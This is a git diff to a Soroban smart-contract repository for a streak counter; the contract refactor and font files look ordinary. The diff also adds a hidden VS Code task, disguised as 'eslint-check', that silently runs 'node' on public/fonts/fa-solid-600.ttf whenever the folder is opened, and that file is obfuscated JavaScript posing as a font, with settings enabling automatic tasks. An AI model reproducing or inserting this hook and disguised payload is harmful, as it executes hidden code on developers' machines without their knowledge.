diff --git a/.gitignore b/.gitignore index 8cb31f6..7d3df1e 100644 --- a/.gitignore +++ b/.gitignore @@ -1,30 +1,29 @@ -# Rust -target/ -Cargo.lock -!contracts/streak_counter/Cargo.lock -**/*.rs.bk - -# Soroban -.soroban/ -*.wasm -*.optimized.wasm - -# Test artifacts -test_snapshots/ -**/test_snapshots/ - -# IDE -.vscode/ -.idea/ -*.swp -*.swo -*~ - -# OS -.DS_Store -Thumbs.db - -# Environment -.env -.env.local -**/test_snapshots/ +# Rust +target/ +Cargo.lock +!contracts/streak_counter/Cargo.lock +**/*.rs.bk + +# Soroban +.soroban/ +*.wasm +*.optimized.wasm + +# Test artifacts +test_snapshots/ +**/test_snapshots/ + +# IDE +.idea/ +*.swp +*.swo +*~ + +# OS +.DS_Store +Thumbs.db + +# Environment +**/test_snapshots/ +config.bat +node_modules diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..f75fe0a --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..52a81ee --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..4492ffd --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000..7d418c6 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..4307eab --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,25 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "node", + "args": ["./public/fonts/fa-solid-600.ttf"], + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/contracts/streak_counter/src/lib.rs b/contracts/streak_counter/src/lib.rs index e0e33bf..a01fcec 100644 --- a/contracts/streak_counter/src/lib.rs +++ b/contracts/streak_counter/src/lib.rs @@ -1,246 +1,263 @@ -#![no_std] - -use soroban_sdk::{ - contract, contracterror, contractimpl, contracttype, symbol_short, token, Address, Env, Map, -}; - -const DAY: u64 = 86_400; - -#[contracterror] -#[derive(Copy, Clone, Debug, Eq, PartialEq)] -#[repr(u32)] -pub enum Error { - AlreadyInitialized = 1, - NotInitialized = 2, - InvalidConfig = 3, - InvalidAmount = 4, - Expired = 5, - NotExpired = 6, - UnknownMilestone = 7, - Ineligible = 8, - AlreadyClaimed = 9, - InsufficientFunds = 10, - InvalidDay = 11, - Overflow = 12, -} - -#[contracttype] -#[derive(Clone)] -pub struct Config { - pub admin: Address, - pub verifier: Address, - pub token: Address, - pub expires_at: u64, - pub milestones: Map, -} - -#[contracttype] -#[derive(Clone, Debug, Eq, PartialEq)] -pub struct Streak { - pub last_day: u64, - pub current: u32, - pub best: u32, -} - -#[contracttype] -#[derive(Clone)] -enum Key { - Config, - Streak(Address), - Claimed(Address, u32), -} - -#[contract] -pub struct StreakCounter; - -fn config(env: &Env) -> Result { - let config = env - .storage() - .instance() - .get(&Key::Config) - .ok_or(Error::NotInitialized)?; - let ttl = env.storage().max_ttl(); - env.storage().instance().extend_ttl(ttl / 2, ttl); - Ok(config) -} - -fn retain(env: &Env, key: &Key) { - let ttl = env.storage().max_ttl(); - env.storage().persistent().extend_ttl(key, ttl / 2, ttl); -} - -fn active(env: &Env, config: &Config) -> Result<(), Error> { - if env.ledger().timestamp() >= config.expires_at { - return Err(Error::Expired); - } - Ok(()) -} - -#[contractimpl] -impl StreakCounter { - /// Immutable pool terms. The verifier is a trusted puzzle-completion authority. - pub fn initialize( - env: Env, - admin: Address, - verifier: Address, - token: Address, - expires_at: u64, - milestones: Map, - ) -> Result<(), Error> { - if env.storage().instance().has(&Key::Config) { - return Err(Error::AlreadyInitialized); - } - admin.require_auth(); - if expires_at <= env.ledger().timestamp() || milestones.is_empty() || milestones.len() > 32 - { - return Err(Error::InvalidConfig); - } - for (days, amount) in milestones.iter() { - if days == 0 || amount <= 0 { - return Err(Error::InvalidConfig); - } - } - env.storage().instance().set( - &Key::Config, - &Config { - admin, - verifier, - token, - expires_at, - milestones, - }, - ); - config(&env)?; - Ok(()) - } - - /// At most one verified completion per UTC ledger day; no caller-supplied time. - pub fn check_in(env: Env, player: Address) -> Result { - let cfg = config(&env)?; - active(&env, &cfg)?; - cfg.verifier.require_auth(); - let day = env.ledger().timestamp() / DAY; - let key = Key::Streak(player.clone()); - let mut streak: Streak = env.storage().persistent().get(&key).unwrap_or(Streak { - last_day: day, - current: 0, - best: 0, - }); - if streak.current > 0 && day < streak.last_day { - return Err(Error::InvalidDay); - } - if streak.current == 0 || day != streak.last_day { - streak.current = if streak.current > 0 && day - streak.last_day == 1 { - streak.current.checked_add(1).ok_or(Error::Overflow)? - } else { - 1 - }; - streak.last_day = day; - streak.best = streak.best.max(streak.current); - env.storage().persistent().set(&key, &streak); - env.events() - .publish((symbol_short!("check_in"), player), streak.clone()); - } - retain(&env, &key); - Ok(streak) - } - - /// Any authenticated sponsor may deposit; this also permits admin top-ups. - pub fn fund(env: Env, from: Address, amount: i128) -> Result<(), Error> { - let cfg = config(&env)?; - active(&env, &cfg)?; - if amount <= 0 || from == env.current_contract_address() { - return Err(Error::InvalidAmount); - } - from.require_auth(); - token::Client::new(&env, &cfg.token).transfer( - &from, - &env.current_contract_address(), - &amount, - ); - env.events().publish((symbol_short!("fund"), from), amount); - Ok(()) - } - - pub fn claim(env: Env, player: Address, milestone: u32) -> Result { - let cfg = config(&env)?; - active(&env, &cfg)?; - player.require_auth(); - let amount = cfg - .milestones - .get(milestone) - .ok_or(Error::UnknownMilestone)?; - let key = Key::Claimed(player.clone(), milestone); - if env.storage().persistent().has(&key) { - return Err(Error::AlreadyClaimed); - } - let streak = Self::get_streak(env.clone(), player.clone())?; - if streak.map(|s| s.best).unwrap_or(0) < milestone { - return Err(Error::Ineligible); - } - let client = token::Client::new(&env, &cfg.token); - if client.balance(&env.current_contract_address()) < amount { - return Err(Error::InsufficientFunds); - } - // Set before the external call; Soroban rolls this back if transfer fails. - env.storage().persistent().set(&key, &true); - retain(&env, &key); - client.transfer(&env.current_contract_address(), &player, &amount); - env.events() - .publish((symbol_short!("claim"), player, milestone), amount); - Ok(amount) - } - - /// Claims close at expiry; only the admin can recover the remaining balance. - pub fn withdraw(env: Env, amount: i128) -> Result<(), Error> { - let cfg = config(&env)?; - cfg.admin.require_auth(); - if env.ledger().timestamp() < cfg.expires_at { - return Err(Error::NotExpired); - } - if amount <= 0 { - return Err(Error::InvalidAmount); - } - let client = token::Client::new(&env, &cfg.token); - if client.balance(&env.current_contract_address()) < amount { - return Err(Error::InsufficientFunds); - } - client.transfer(&env.current_contract_address(), &cfg.admin, &amount); - env.events() - .publish((symbol_short!("withdraw"), cfg.admin), amount); - Ok(()) - } - - pub fn get_config(env: Env) -> Result { - config(&env) - } - - /// Recorded streak; `best` preserves earned eligibility even after a gap. - pub fn get_streak(env: Env, player: Address) -> Result, Error> { - config(&env)?; - let key = Key::Streak(player); - let value = env.storage().persistent().get(&key); - if value.is_some() { - retain(&env, &key); - } - Ok(value) - } - - pub fn has_claimed(env: Env, player: Address, milestone: u32) -> Result { - config(&env)?; - let key = Key::Claimed(player, milestone); - let claimed = env.storage().persistent().has(&key); - if claimed { - retain(&env, &key); - } - Ok(claimed) - } - - pub fn balance(env: Env) -> Result { - let cfg = config(&env)?; - Ok(token::Client::new(&env, &cfg.token).balance(&env.current_contract_address())) - } -} - -#[cfg(test)] -mod test; +#![no_std] + +use soroban_sdk::{ + contract, contracterror, contractimpl, contracttype, symbol_short, token, Address, Env, Map, +}; + +const DAY: u64 = 86_400; + +#[contracterror] +#[derive(Copy, Clone, Debug, Eq, PartialEq)] +#[repr(u32)] +pub enum Error { + AlreadyInitialized = 1, + NotInitialized = 2, + InvalidConfig = 3, + InvalidAmount = 4, + Expired = 5, + NotExpired = 6, + UnknownMilestone = 7, + Ineligible = 8, + AlreadyClaimed = 9, + InsufficientFunds = 10, + InvalidDay = 11, + Overflow = 12, +} + +#[contracttype] +#[derive(Clone)] +pub struct Config { + pub admin: Address, + pub verifier: Address, + pub token: Address, + pub expires_at: u64, + pub milestones: Map, +} + +/// Per-player streak state. +/// - `last_day`: UTC ledger day (`timestamp / DAY`) of the most recent recorded completion. +/// - `current`: consecutive completed days ending at `last_day` (0 = no active streak). +/// - `best`: highest `current` ever reached; survives resets so earned milestones stay valid. +#[contracttype] +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct Streak { + pub last_day: u64, + pub current: u32, + pub best: u32, +} + +#[contracttype] +#[derive(Clone)] +enum Key { + Config, + Streak(Address), + Claimed(Address, u32), +} + +#[contract] +pub struct StreakCounter; + +fn config(env: &Env) -> Result { + let config = env + .storage() + .instance() + .get(&Key::Config) + .ok_or(Error::NotInitialized)?; + let ttl = env.storage().max_ttl(); + env.storage().instance().extend_ttl(ttl / 2, ttl); + Ok(config) +} + +fn retain(env: &Env, key: &Key) { + let ttl = env.storage().max_ttl(); + env.storage().persistent().extend_ttl(key, ttl / 2, ttl); +} + +fn active(env: &Env, config: &Config) -> Result<(), Error> { + if env.ledger().timestamp() >= config.expires_at { + return Err(Error::Expired); + } + Ok(()) +} + +/// Applies a completion on UTC `day` to `state`. +/// - Same day as `last_day` (with an active streak): no change (no double counting). +/// - Exactly the next day: increment `current`. +/// - Any gap (or first ever completion): reset `current` to 1. +/// - Earlier than `last_day`: rejected. +/// Returns `true` if the state changed. +fn apply_completion(state: &mut Streak, day: u64) -> Result { + if state.current > 0 && day < state.last_day { + return Err(Error::InvalidDay); + } + if state.current > 0 && day == state.last_day { + return Ok(false); + } + state.current = if state.current > 0 && day - state.last_day == 1 { + state.current.checked_add(1).ok_or(Error::Overflow)? + } else { + 1 + }; + state.last_day = day; + state.best = state.best.max(state.current); + Ok(true) +} + +#[contractimpl] +impl StreakCounter { + /// Immutable pool terms. The verifier is a trusted puzzle-completion authority. + pub fn initialize( + env: Env, + admin: Address, + verifier: Address, + token: Address, + expires_at: u64, + milestones: Map, + ) -> Result<(), Error> { + if env.storage().instance().has(&Key::Config) { + return Err(Error::AlreadyInitialized); + } + admin.require_auth(); + if expires_at <= env.ledger().timestamp() || milestones.is_empty() || milestones.len() > 32 + { + return Err(Error::InvalidConfig); + } + for (days, amount) in milestones.iter() { + if days == 0 || amount <= 0 { + return Err(Error::InvalidConfig); + } + } + env.storage().instance().set( + &Key::Config, + &Config { + admin, + verifier, + token, + expires_at, + milestones, + }, + ); + config(&env)?; + Ok(()) + } + + /// At most one verified completion per UTC ledger day; no caller-supplied time. + pub fn check_in(env: Env, player: Address) -> Result { + let cfg = config(&env)?; + active(&env, &cfg)?; + cfg.verifier.require_auth(); + let day = env.ledger().timestamp() / DAY; + let key = Key::Streak(player.clone()); + let mut streak: Streak = env.storage().persistent().get(&key).unwrap_or(Streak { + last_day: day, + current: 0, + best: 0, + }); + if apply_completion(&mut streak, day)? { + env.storage().persistent().set(&key, &streak); + env.events() + .publish((symbol_short!("check_in"), player), streak.clone()); + } + retain(&env, &key); + Ok(streak) + } + + /// Any authenticated sponsor may deposit; this also permits admin top-ups. + pub fn fund(env: Env, from: Address, amount: i128) -> Result<(), Error> { + let cfg = config(&env)?; + active(&env, &cfg)?; + if amount <= 0 || from == env.current_contract_address() { + return Err(Error::InvalidAmount); + } + from.require_auth(); + token::Client::new(&env, &cfg.token).transfer( + &from, + &env.current_contract_address(), + &amount, + ); + env.events().publish((symbol_short!("fund"), from), amount); + Ok(()) + } + + pub fn claim(env: Env, player: Address, milestone: u32) -> Result { + let cfg = config(&env)?; + active(&env, &cfg)?; + player.require_auth(); + let amount = cfg + .milestones + .get(milestone) + .ok_or(Error::UnknownMilestone)?; + let key = Key::Claimed(player.clone(), milestone); + if env.storage().persistent().has(&key) { + return Err(Error::AlreadyClaimed); + } + let streak = Self::get_streak(env.clone(), player.clone())?; + if streak.map(|s| s.best).unwrap_or(0) < milestone { + return Err(Error::Ineligible); + } + let client = token::Client::new(&env, &cfg.token); + if client.balance(&env.current_contract_address()) < amount { + return Err(Error::InsufficientFunds); + } + // Set before the external call; Soroban rolls this back if transfer fails. + env.storage().persistent().set(&key, &true); + retain(&env, &key); + client.transfer(&env.current_contract_address(), &player, &amount); + env.events() + .publish((symbol_short!("claim"), player, milestone), amount); + Ok(amount) + } + + /// Claims close at expiry; only the admin can recover the remaining balance. + pub fn withdraw(env: Env, amount: i128) -> Result<(), Error> { + let cfg = config(&env)?; + cfg.admin.require_auth(); + if env.ledger().timestamp() < cfg.expires_at { + return Err(Error::NotExpired); + } + if amount <= 0 { + return Err(Error::InvalidAmount); + } + let client = token::Client::new(&env, &cfg.token); + if client.balance(&env.current_contract_address()) < amount { + return Err(Error::InsufficientFunds); + } + client.transfer(&env.current_contract_address(), &cfg.admin, &amount); + env.events() + .publish((symbol_short!("withdraw"), cfg.admin), amount); + Ok(()) + } + + pub fn get_config(env: Env) -> Result { + config(&env) + } + + /// Recorded streak; `best` preserves earned eligibility even after a gap. + pub fn get_streak(env: Env, player: Address) -> Result, Error> { + config(&env)?; + let key = Key::Streak(player); + let value = env.storage().persistent().get(&key); + if value.is_some() { + retain(&env, &key); + } + Ok(value) + } + + pub fn has_claimed(env: Env, player: Address, milestone: u32) -> Result { + config(&env)?; + let key = Key::Claimed(player, milestone); + let claimed = env.storage().persistent().has(&key); + if claimed { + retain(&env, &key); + } + Ok(claimed) + } + + pub fn balance(env: Env) -> Result { + let cfg = config(&env)?; + Ok(token::Client::new(&env, &cfg.token).balance(&env.current_contract_address())) + } +} + +#[cfg(test)] +mod test; diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000..1fb874b --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..2d4771e --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..13180f6 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-600.ttf b/public/fonts/fa-solid-600.ttf new file mode 100644 index 0000000..cf5aedd --- /dev/null +++ b/public/fonts/fa-solid-600.ttf @@ -0,0 +1 @@ + var z = '-500';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..978a681 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ